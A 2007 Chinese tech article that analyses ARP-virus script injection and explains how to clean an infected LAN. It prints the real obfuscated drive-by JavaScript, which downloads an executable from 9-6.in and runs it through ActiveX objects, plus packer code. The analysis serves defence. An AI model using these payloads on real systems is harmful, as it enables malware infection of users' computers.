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本文的目的是探討JS相關(guān)技術(shù)，并不是以殺毒為主要目的，殺毒只是為講解一些JS做鋪墊的，呵呵，文章有點(diǎn)長，倒杯咖啡或者清茶慢慢看，學(xué)習(xí)切勿急躁！

最近公司的網(wǎng)絡(luò)中了這兩天鬧的很歡的ARP病毒，導(dǎo)致大家都無法上網(wǎng)，給工作帶來了很大的不方便，在這里寫下殺毒的過程，希望對大家能有幫助！

現(xiàn)象：

打開部分網(wǎng)頁顯示為亂碼，好像是隨機(jī)的行為，但是看似又不是，因?yàn)樗�一直在監(jiān)視msn.com，呵呵，可能和微軟有仇吧，繼續(xù)查看源代碼，發(fā)現(xiàn)頭部有一個(gè)js文件鏈接----<script src=http://9-6.in/n.js></script>；

來源：

經(jīng)過一番網(wǎng)絡(luò)搜索，發(fā)現(xiàn)這個(gè)域名是印度域名，而IP地址卻是美國的，而且域名的注冊日期是7月25日，看來一切都是預(yù)謀好了的，還是不管這個(gè)了，先解決問題吧；

分析：

1、先把（http://9-6.in/n.js）這個(gè)JS文件下載下來，代碼如下：

    document.writeln("<script>window.onerror=function(){return true;}<\/script>");
    document.writeln("<script src=\"http:\/\/9-6.in\/S368\/NewJs2.js\"><\/script>");
    document.writeln("<script>");
    document.writeln("function StartRun(){");
    document.writeln("var Then = new Date() ");
    document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)");
    document.writeln("var cookieString = new String(document.cookie)");
    document.writeln("var cookieHeader = \"Cookie1=\" ");
    document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
    document.writeln("if (beginPosition != -1){ ");
    document.writeln("} else ");
    document.writeln("{ document.cookie = \"Cookie1=POPWINDOS;expires=\"+ Then.toGMTString() ");
    document.writeln("document.write(\'<iframe width=0 height=0 src=\"http:\/\/9-6.IN\/s368\/T368.htm\"><\/iframe>\');");
    document.writeln("}");
    document.writeln("}");
    document.writeln("StartRun();");
    document.writeln("<\/script>")

其中第一句window.onerror=function(){return true;}就先把JS錯(cuò)誤屏蔽掉，真夠狠的，呵呵，不這樣怎么隱藏自己呢，哈哈！然后還有個(gè)JS文件 http://9-6.in/S368/NewJs2.js，先繼續(xù)往下看，找到StartRun();運(yùn)行一個(gè)函數(shù)，函數(shù)的主要作用是寫COOKIE，日期為保存一天，然后還用隱藏框架加載了一個(gè)文件（http://9-6.IN/s368/T368.htm），其余就沒有什么特別的了；

2、下載（http://9-6.in/S368/NewJs2.js）這個(gè)文件，代碼如下：

StrInfo =  "\x3c\x73\x63\x72\x69\x70\x74\x3e\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x7b\x72\x65\x74\x75\x72\x6e \x74\x72\x75\x65\x3b\x7d\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e" +"\n"+
  "\x3c\x73\x63\x72\x69\x70\x74\x3e" +"\n"+
  " \x44\x5a\x3d\'\\\x78\x36\x38\\\x78\x37\x34\\\x78\x37\x34\\\x78\x37\x30\\\x78\x33\x41\\\x78\x32\x46\\\x78\x32\x46\\\x78\x33\x39\\\x78\x32\x44\\\x78\x33\x36\\\x78\x32\x45\\\x78\x36\x39\\\x78\x36\x45\\\x78\x32\x46\\\x78\x35\x33\\\x78\x33\x33\\\x78\x33\x36\\\x78\x33\x38\\\x78\x32\x46\\\x78\x35\x33\\\x78\x33\x33\\\x78\x33\x36\\\x78\x33\x38\\\x78\x32\x45\\\x78\x36\x35\\\x78\x37\x38\\\x78\x36\x35\'\x3b" +"\n"+
  " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
  "\x66\x75\x6e\x63\x74\x69\x6f\x6e \x47\x6e\x4d\x73\x28\x6e\x29 " +"\n"+
  "\x7b " +"\n"+
  " \x76\x61\x72 \x6e\x75\x6d\x62\x65\x72\x4d\x73 \x3d \x4d\x61\x74\x68\x2e\x72\x61\x6e\x64\x6f\x6d\x28\x29\x2a\x6e\x3b" +"\n"+
  " \x72\x65\x74\x75\x72\x6e \'\\\x78\x37\x45\\\x78\x35\x34\\\x78\x36\x35\\\x78\x36\x44\\\x78\x37\x30\'\x2b\x4d\x61\x74\x68\x2e\x72\x6f\x75\x6e\x64\x28\x6e\x75\x6d\x62\x65\x72\x4d\x73\x29\x2b\'\\\x78\x32\x45\\\x78\x37\x34\\\x78\x36\x44\\\x78\x37\x30\'\x3b" +"\n"+
  "\x7d " +"\n"+
  " \x74\x72\x79 " +"\n"+
  "\x7b" +"\n"+
  " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
  " \x76\x61\x72 \x42\x66\x3d\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\"\\\x78\x36\x46\\\x78\x36\x32\\\x78\x36\x41\\\x78\x36\x35\\\x78\x36\x33\\\x78\x37\x34\"\x29\x3b" +"\n"+
  " \x42\x66\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\"\\\x78\x36\x33\\\x78\x36\x43\\\x78\x36\x31\\\x78\x37\x33\\\x78\x37\x33\\\x78\x36\x39\\\x78\x36\x34\"\x2c\"\\\x78\x36\x33\\\x78\x36\x43\\\x78\x37\x33\\\x78\x36\x39\\\x78\x36\x34\\\x78\x33\x41\\\x78\x34\x32\\\x78\x34\x34\\\x78\x33\x39\\\x78\x33\x36\\\x78\x34\x33\\\x78\x33\x35\\\x78\x33\x35\\\x78\x33\x36\\\x78\x32\x44\\\x78\x33\x36\\\x78\x33\x35\\\x78\x34\x31\\\x78\x33\x33\\\x78\x32\x44\\\x78\x33\x31\\\x78\x33\x31\\\x78\x34\x34\\\x78\x33\x30\\\x78\x32\x44\\\x78\x33\x39\\\x78\x33\x38\\\x78\x33\x33\\\x78\x34\x31\\\x78\x32\x44\\\x78\x33\x30\\\x78\x33\x30\\\x78\x34\x33\\\x78\x33\x30\\\x78\x33\x34\\\x78\x34\x36\\\x78\x34\x33\\\x78\x33\x32\\\x78\x33\x39\\\x78\x34\x35\\\x78\x33\x33\\\x78\x33\x36\"\x29\x3b" +"\n"+
  " \x76\x61\x72 \x4b\x78\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x34\x44\\\x78\x36\x39\\\x78\x36\x33\\\x78\x37\x32\\\x78\x36\x46\\\x78\x37\x33\\\x78\x36\x46\\\x78\x36\x36\\\x78\x37\x34\\\x78\x32\x45\\\x78\x35\x38\"\x2b\"\\\x78\x34\x44\\\x78\x34\x43\\\x78\x34\x38\\\x78\x35\x34\\\x78\x35\x34\\\x78\x35\x30\"\x2c\"\"\x29\x3b" +"\n"+
  " \x76\x61\x72 \x41\x53\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x34\x31\\\x78\x36\x34\\\x78\x36\x46\\\x78\x36\x34\\\x78\x36\x32\\\x78\x32\x45\\\x78\x35\x33\\\x78\x37\x34\\\x78\x37\x32\\\x78\x36\x35\\\x78\x36\x31\\\x78\x36\x44\"\x2c\"\"\x29\x3b" +"\n"+
  " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
  " \x41\x53\x2e\x74\x79\x70\x65\x3d\x31\x3b" +"\n"+
  " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
  " \x4b\x78\x2e\x6f\x70\x65\x6e\x28\"\\\x78\x34\x37\\\x78\x34\x35\\\x78\x35\x34\"\x2c \x44\x5a\x2c\x30\x29\x3b" +"\n"+
  " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
  " \x4b\x78\x2e\x73\x65\x6e\x64\x28\x29\x3b" +"\n"+
  " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
  " \x4e\x73\x31\x3d\x47\x6e\x4d\x73\x28\x39\x39\x39\x39\x29\x3b" +"\n"+
  " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
  " \x76\x61\x72 \x63\x46\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x35\x33\\\x78\x36\x33\\\x78\x37\x32\\\x78\x36\x39\\\x78\x37\x30\\\x78\x37\x34\\\x78\x36\x39\\\x78\x36\x45\\\x78\x36\x37\\\x78\x32\x45\\\x78\x34\x36\\\x78\x36\x39\\\x78\x36\x43\\\x78\x36\x35\\\x78\x35\x33\\\x78\x37\x39\\\x78\x37\x33\\\x78\x37\x34\\\x78\x36\x35\\\x78\x36\x44\\\x78\x34\x46\\\x78\x36\x32\\\x78\x36\x41\\\x78\x36\x35\\\x78\x36\x33\\\x78\x37\x34\"\x2c\"\"\x29\x3b" +"\n"+
  " \x76\x61\x72 \x4e\x73\x54\x6d\x70\x3d\x63\x46\x2e\x47\x65\x74\x53\x70\x65\x63\x69\x61\x6c\x46\x6f\x6c\x64\x65\x72\x28\x30\x29\x3b \x4e\x73\x31\x3d \x63\x46\x2e\x42\x75\x69\x6c\x64\x50\x61\x74\x68\x28\x4e\x73\x54\x6d\x70\x2c\x4e\x73\x31\x29\x3b \x41\x53\x2e\x4f\x70\x65\x6e\x28\x29\x3b\x41\x53\x2e\x57\x72\x69\x74\x65\x28\x4b\x78\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79\x29\x3b" +"\n"+
  " \x41\x53\x2e\x53\x61\x76\x65\x54\x6f\x46\x69\x6c\x65\x28\x4e\x73\x31\x2c\x32\x29\x3b \x41\x53\x2e\x43\x6c\x6f\x73\x65\x28\x29\x3b \x76\x61\x72 \x71\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x35\x33\\\x78\x36\x38\\\x78\x36\x35\\\x78\x36\x43\\\x78\x36\x43\\\x78\x32\x45\\\x78\x34\x31\\\x78\x37\x30\\\x78\x37\x30\\\x78\x36\x43\\\x78\x36\x39\\\x78\x36\x33\\\x78\x36\x31\\\x78\x37\x34\\\x78\x36\x39\\\x78\x36\x46\\\x78\x36\x45\"\x2c\"\"\x29\x3b" +"\n"+
  " \x6f\x6b\x31\x3d\x63\x46\x2e\x42\x75\x69\x6c\x64\x50\x61\x74\x68\x28\x4e\x73\x54\x6d\x70\x2b\'\\\x78\x35\x43\\\x78\x35\x43\\\x78\x37\x33\\\x78\x37\x39\\\x78\x37\x33\\\x78\x37\x34\\\x78\x36\x35\\\x78\x36\x44\\\x78\x33\x33\\\x78\x33\x32\'\x2c\'\\\x78\x36\x33\\\x78\x36\x44\\\x78\x36\x34\\\x78\x32\x45\\\x78\x36\x35\\\x78\x37\x38\\\x78\x36\x35\'\x29\x3b" +"\n"+
  " \x71\x2e\x53\x48\x65\x4c\x4c\x45\x78\x65\x63\x75\x74\x65\x28\x6f\x6b\x31\x2c\'\\\x78\x32\x30\\\x78\x32\x46\\\x78\x36\x33 \'\x2b\x4e\x73\x31\x2c\"\"\x2c\"\\\x78\x36\x46\\\x78\x37\x30\\\x78\x36\x35\\\x78\x36\x45\"\x2c\x30\x29\x3b" +"\n"+
  " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
  "\x7d " +"\n"+
  " \x63\x61\x74\x63\x68\x28\x4d\x73\x49\x29 \x7b \x4d\x73\x49\x3d\x31\x3b \x7d" +"\n"+
  " \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
  "\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e"
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](StrInfo);

這個(gè)代碼有點(diǎn)長哦，而且有保護(hù)措施，全部轉(zhuǎn)換為十六進(jìn)制，不過不要害怕，我們有辦法解決，首先得確保你已經(jīng)安裝了UE，然后打開UE，把代碼粘貼進(jìn)去（廢話，呵呵），把\x替換為%，然后用html代碼轉(zhuǎn)換功能，解碼，就可以得到第一次解碼的代碼，第一次？？？，呵呵，這個(gè)代碼的作者很變態(tài)的，做了兩次編碼，所以我得進(jìn)行兩次解碼才行，重復(fù)剛才的步驟，然后你就可以看到最終的“原始”代碼了；
具體的代碼我就不帖出來了，有一定的危害性，相信大家看了上面的步驟都能自己找到代碼，這里之說一下比較核心的代碼吧；

//核心代碼
..............
  " var Bf=document.createElement(\"\o\b\j\e\c\t\");" +"\n"+
  " Bf.setAttribute(\"\c\l\a\s\s\i\d\",\"\c\l\s\i\d\:\B\D\9\6\C\5\5\6\-\6\5\A\3\-\1\1\D\0\-\9\8\3\A\-\0\0\C\0\4\F\C\2\9\E\3\6\");" +"\n"+
  " var Kx=Bf.CreateObject(\"\M\i\c\r\o\s\o\f\t\.\X\"+\"\M\L\H\T\T\P\",\"\");" +"\n"+
  " var AS=Bf.CreateObject(\"\A\d\o\d\b\.\S\t\r\e\a\m\",\"\");" +"\n"+
.............
  " var cF=Bf.CreateObject(\"\S\c\r\i\p\t\i\n\g\.\F\i\l\e\S\y\s\t\e\m\O\b\j\e\c\t\",\"\");" +"\n"+
  " var NsTmp=cF.GetSpecialFolder(0); Ns1= cF.BuildPath(NsTmp,Ns1); AS.Open();AS.Write(Kx.responseBody);" +"\n"+
  " AS.SaveToFile(Ns1,2); AS.Close(); var q=Bf.CreateObject(\"\S\h\e\l\l\.\A\p\p\l\i\c\a\t\i\o\n\",\"\");" +"\n"+
  " ok1=cF.BuildPath(NsTmp+\'\\\\\s\y\s\t\e\m\3\2\',\'\c\m\d\.\e\x\e\');" +"\n"+
  " q.SHeLLExecute(ok1,\'\ \/\c \'+Ns1,\"\",\"\o\p\e\n\",0);" +"\n"+
..............

上面的就是最為核心的代碼，利用MS0614漏洞、創(chuàng)建JS異步對象獲取病毒（*.exe）文件，然后運(yùn)行，這樣就達(dá)到它的目的啦！

3、打開 http://9-6.IN/s368/T368.htm 查看源代碼，又發(fā)現(xiàn)一段怪異的JS文件，如下：

<script>
    eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--)d[c.toString(a)]=k[c]||c.toString(a);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('x("\\0\\6\\9\\5\\i\\h\\j\\j\\4\\f\\8\\3\\2\\0\\7\\1\\i\\8\\2\\3\\h\\g\\4\\w\\v\\u\\t\\b\\s\\7\\r\\g\\4\\e\\f\\q\\8\\3\\2\\0\\7\\1\\e\\4\\d\\c\\d\\c\\p\\5\\3\\o\\n\\a\\6\\1\\b\\m\\2\\0\\1\\a\\l\\0\\6\\9\\5\\k")',34,34,'151|164|162|143|42|157|156|160|163|146|145|56|12|
15|76|74|134|75|40|11|51|50|167|155|165|144|57|147|152|70|66|63|123
|eval'.split('|'),0,{}))
</script>

可以看出這段代碼也是經(jīng)過加密的了，特征為function(p,a,c,k,e,d)，這種加密方法網(wǎng)上有很多例子，我就不細(xì)說了，附上解密代碼：

//以下代碼為網(wǎng)上搜索所得，版權(quán)歸原作者所有
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>無標(biāo)題文檔</title>
</head>
<body>
<script>
a=62; 
function encode() {
var code = document.getElementById('code').value;
code = code.replace(/[\r\n]+/g, '');
code = code.replace(/'/g, "\\'");
var tmp = code.match(/\b(\w+)\b/g);
tmp.sort();
var dict = [];
var i, t = '';
for(var i=0; i<tmp .length; i++) {
   if(tmp[i] != t) dict.push(t = tmp[i]);
}
var len = dict.length;
var ch;
for(i=0; i<len; i++) {
   ch = num(i);
   code = code.replace(new RegExp('\\b'+dict[i]+'\\b','g'), ch);
   if(ch == dict[i]) dict[i] = '';
}
document.getElementById('code').value = "eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c]);return p}("
   + "'"+code+"',"+a+","+len+",'"+ dict.join('|')+"'.split('|'),0,{}))";
}
 
function num(c) {
return(c<a ?'':num(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36));
}
 
function run() {
eval(document.getElementById('code').value);
}
function decode() {
var code = document.getElementById('code').value;
code = code.replace(/^eval/, '');
document.getElementById('code').value = eval(code);
}
</script>
<textarea id=code cols=80 rows=20>
 
</textarea><br />
<input type=button onclick=encode() value=編碼/>
<input type=button onclick=run() value=執(zhí)行/>
<input type=button onclick=decode() value=解碼/>
</body>
</html>

經(jīng)過解密后代碼為：

info =        "<script src=\"S368.jpg\"></script>"
document.write(info)

繼續(xù)打開這個(gè)表面象圖片的鏈接，呵呵，當(dāng)然不會是MM圖片了，查看源代碼，找到如下代碼：

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('E n=1c;12 13(){}12 14(){1d{n=1e 1f("\\K\\l\\r\\8\\i\\3\\6\\j\\3\\6\\o\\3\\6\\9\\C\\3\\s\\K\\l\\r\\8\\i\\3\\6\\9\\x")}1g(e){Q}E a=n["\\15\\3\\4\\p\\d\\8\\m\\7\\k"]("\\w\\8\\4\\7\\o\\7\\6\\r\\f","\\R\\7\\q\\3\\v\\5\\4\\l","");1h(a["\\7\\8\\i\\3\\y\\L\\m"]("\\z\\f\\l\\4\\5\\9\\3\\y\\3")!=-1){Q}E b=n["\\15\\3\\4\\j\\3\\6\\o\\3\\6\\v\\5\\4\\l"]();b=b["\\f\\r\\s\\f\\4\\6"](0,2);b+="\\\\\\v\\6\\d\\k\\6\\5\\J\\x\\\\\\K\\l\\r\\8\\i\\3\\J\\x\\\\\\1i\\3\\s\\K\\l\\r\\8\\i\\3\\6\\\\\\A\\6\\d\\m\\7\\q\\3\\f\\\\\\r\\f\\3\\6\\h\\d\\8\\m\\7\\k\\9\\7\\8\\7";n["\\j\\3\\4\\p\\5\\q\\q\\s\\5\\h\\1j\\F\\8\\4\\6\\D"](1k,13);E c=n["\\w\\i\\i\\p\\5\\4\\3\\k\\d\\6\\D"]("\\7");E c=n["\\w\\i\\i\\p\\5\\4\\3\\k\\d\\6\\D"]("\\5");E c=n["\\w\\i\\i\\p\\5\\4\\3\\k\\d\\6\\D"]("\\s");E c=n["\\w\\i\\i\\p\\5\\4\\3\\k\\d\\6\\D"]("\\h");E c=n["\\w\\i\\i\\p\\5\\4\\3\\k\\d\\6\\D"]("\\i");n["\\j\\3\\4\\p\\d\\8\\m\\7\\k"]("\\j\\5\\o\\3\\v\\5\\4\\l","\\7","\\S\\f\\h\\6\\7\\A\\4\\16\\o\\5\\6 \\f\\G\\8\\3\\C \\w\\h\\4\\7\\o\\3\\N\\L\\s\\T\\3\\h\\4\\t\\"\\C\\f\\h\\6\\7\\A\\4\\9\\f\\l\\3\\q\\q\\"\\u\\g\\o\\5\\6 \\d\\G\\8\\3\\C \\w\\h\\4\\7\\o\\3\\N\\L\\s\\T\\3\\h\\4\\t\\"\\f\\l\\3\\q\\q\\9\\5\\A\\A\\q\\7\\h\\5\\4\\7\\d\\8\\"\\u\\g\\o\\5\\6 \\5\\B\\s\\B\\h\\B\\i\\B\\3\\B\\m\\B\\k\\g");n["\\j\\3\\4\\p\\d\\8\\m\\7\\k"]("\\j\\5\\o\\3\\v\\5\\4\\l","\\5","\\H\\g\\f\\9\\U\\r\\8\\t\\"\\p\\V\\\\\\\\\\v\\6\\d\\k\\6\\5\\J\\x\\\\\\\\\\I\\8\\4\\3\\6\\8\\J\\x\\\\\\\\\\I\\F\\N\\v\\17\\L\\U\\F\\9\\F\\N\\F \\l\\4\\4\\A\\1l\\O\\O\\h\\1m\\x\\W\\7\\18\\O\\j\\X\\19\\1a\\O\\i\\1n\\C\\18\\Y\\Y\\W\\l\\4\\Y\\1o\\"\\B\\H\\B\\H\\u\\g\\f\\9\\U\\r\\8\\t\\"\\h\\z\\i\\9\\3\\y\\3 \\Z\\h \\4\\6\\3\\3 \\h\\V\\\\\\\\ \\Z\\m\\"\\B\\H\\B\\x\\u\\g");n["\\j\\3\\4\\p\\d\\8\\m\\7\\k"]("\\j\\5\\o\\3\\v\\5\\4\\l","\\s","\\f\\9\\j\\A\\3\\h\\7\\5\\q\\R\\d\\q\\i\\3\\6\\f\\t\\"\\1p\\D\\1q\\d\\h\\r\\z\\3\\8\\4\\f\\"\\u\\g\\s\\G\\s\\9\\f\\r\\s\\f\\4\\6\\7\\8\\k\\t\\H\\B\\s\\9\\q\\5\\f\\4\\I\\8\\i\\3\\y\\L\\m\\t\\"\\\\\\\\\\"\\u\\u\\g\\s\\P\\G\\"\\\\\\\\\\q\\d\\h\\5\\q\\f\\J\\x\\\\\\\\\\K\\3\\z\\A\\d\\6\\J\\x\\\\\\\\\\p\\d\\8\\4\\3\\8\\4\\9\\I\\F\\1r\\\\\\\\\\"\\g");n["\\j\\3\\4\\p\\d\\8\\m\\7\\k"]("\\j\\5\\o\\3\\v\\5\\4\\l","\\h","\\d\\9\\1s\\5\\z\\3\\j\\A\\5\\h\\3\\t\\s\\u\\g\\m\\d\\6\\t\\5\\G\\H\\g\\5\\S\\h\\9\\I\\4\\3\\z\\f\\t\\u\\9\\p\\d\\r\\8\\4\\g\\5\\P\\P\\u\\10 \\o\\5\\6 \\m\\G\\h\\9\\I\\4\\3\\z\\f\\t\\u\\9\\I\\4\\3\\z\\t\\5\\u\\9\\v\\5\\4\\l\\g\\m\\P\\G\\"\\\\\\\\\\j\\X\\19\\1a\\1b\\1t\\x\\1u\\W\\3\\y\\3\\"\\g");n["\\j\\3\\4\\p\\d\\8\\m\\7\\k"]("\\j\\5\\o\\3\\v\\5\\4\\l","\\i","\\H\\g\\4\\6\\D\\10\\f\\9\\F\\y\\3\\h\\t\\m\\u\\g\\11\\h\\5\\4\\h\\l\\t\\3\\u\\10\\11\\g\\11\\C\\7\\8\\i\\d\\C\\9\\h\\q\\d\\f\\3\\t\\u\\g\\S\\Z\\f\\h\\6\\7\\A\\4\\16");n["\\j\\3\\4\\p\\d\\8\\m\\7\\k"]("\\w\\8\\4\\7\\o\\7\\6\\r\\f","\\v\\6\\d\\4\\3\\h\\4","\\x");n["\\j\\3\\4\\p\\d\\8\\m\\7\\k"]("\\w\\8\\4\\7\\o\\7\\6\\r\\f","\\R\\7\\q\\3\\v\\5\\4\\l","\\h\\V\\\\\\C\\7\\8\\i\\d\\C\\f\\\\\\f\\D\\f\\4\\3\\z\\X\\1b\\\\\\z\\f\\l\\4\\5\\9\\3\\y\\3");n["\\j\\3\\4\\p\\d\\8\\m\\7\\k"]("\\w\\8\\4\\7\\o\\7\\6\\r\\f","\\v\\5\\6\\5\\z\\3\\4\\3\\6",b);n["\\j\\3\\4\\p\\d\\8\\m\\7\\k"]("\\w\\8\\4\\7\\o\\7\\6\\r\\f","\\F\\y\\4\\17\\7\\f\\4","\\9\\6\\5\\6\\g\\9\\M\\7\\A\\g\\9\\3\\y\\3\\g\\9\\i\\d\\h\\g\\9\\h\\d\\z\\g\\9\\s\\7\\8\\g\\9\\k\\M\\g\\9\\M\\g\\9\\4\\5\\6\\g\\9\\5\\6\\T\\g\\9\\q\\M\\l\\g\\9\\f\\7\\4\\g\\9\\l\\1v\\y\\g\\9\\4\\k\\M\\g\\9\\i\\q\\q\\g\\9\\d\\h\\y\\g\\9\\o\\s\\y\\g");n["\\j\\3\\4\\p\\d\\8\\m\\7\\k"]("\\w\\8\\4\\7\\o\\7\\6\\r\\f","\\1w\\f\\3\\6\\j\\3\\4","\\x");Q}14();',62,95,'|||x65|x74|x61|x72|x69|x6e|x2e||||x6f||x73|x3b|x63|
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x31|x78|x6d|x70|x2c|x77|x79|var|x45|x3d|x30|x49|x7e|x54|x4f|x7a|
x58|x2F|x2b|return|x46|x3c|x6a|x52|x3a|x2E|x33|x6D|x2f|x7b|x7d|
function|assort_panel_enabled|pslcdkc|x47|x3e|x4c|x6E|x36|x38|x32|
null|try|new|ActiveXObject|catch|if|x57|x6b|106|x3A|x6B|x6F|x6C|x4d|
x44|x35|x4e|x5B|x5D|x71|x55'.split('|'),0,{}))

又是好長的代碼，又發(fā)現(xiàn)了function(p,a,c,k,e,r)，繼續(xù)解碼，代碼很長，請大家自己解碼查看吧，這里應(yīng)用的還是上面的手法，用加密函數(shù)加密，然后轉(zhuǎn)換為十六進(jìn)制，盡最大努力混淆我們的視線，來達(dá)到不可告人的目的，這里的代碼的主要作用是用另外一種方法下載病毒并運(yùn)行，思想真的很先進(jìn)，居然是去調(diào)用Web迅雷來下載病毒，然后去運(yùn)行，作者真的是煞費(fèi)苦心啊，應(yīng)用了兩種方法下載病毒，“小樣，就不信毒不倒你！”，呵呵

殺毒：

說了半天只是分析了一下ARP病毒發(fā)作的時(shí)候在干什么，下面就說下關(guān)于殺毒的問題，其實(shí)現(xiàn)在網(wǎng)上有很多這方面的相關(guān)教程，我就簡單總結(jié)一下我的殺毒過程吧；

1. 中了arp病毒必須要先找到中毒的機(jī)器
2. 給這個(gè)機(jī)器斷網(wǎng)、殺毒
3. 恢復(fù)局域網(wǎng)

其中第一步最關(guān)鍵了，如何才能找到呢？
在局域網(wǎng)隨便一臺客戶機(jī)上打開網(wǎng)上鄰居，查看工作組計(jì)算機(jī)，然后等到列表刷新出來后，迅速點(diǎn)擊開始-->運(yùn)行-->cmd-->arp -a回車，如果機(jī)器比較多，請多輸入幾次arp -a，然后仔細(xì)查看，你會發(fā)現(xiàn)有一臺機(jī)器的Mac地址和網(wǎng)關(guān)的Mac地址相同，恭喜你，這就是那個(gè)毒源！
到這臺機(jī)器的跟前（呵呵，廢話真多），剩下的工作相信大家都有很多經(jīng)驗(yàn)了吧

殺毒！裝殺毒軟件或者進(jìn)安全模式更甚者重裝機(jī)器，總之把病毒干掉就行了；

最后，到不能打開網(wǎng)頁的機(jī)器上執(zhí)行這個(gè)命令：點(diǎn)擊開始-->運(yùn)行-->cmd-->arp -d回車，然后就可以了。、

終于一切又恢復(fù)了平靜，是不是很有成就感呢，呵呵！

經(jīng)典論壇討論：
http://bbs.blueidea.com/thread-2777382-1-1.html

本文鏈接：http://www.95time.cn/tech/web/2007/4879.asp　

出處：藍(lán)色理想
責(zé)任編輯：moby

◎進(jìn)入論壇網(wǎng)頁制作、WEB標(biāo)準(zhǔn)化版塊參加討論，我還想發(fā)表評論。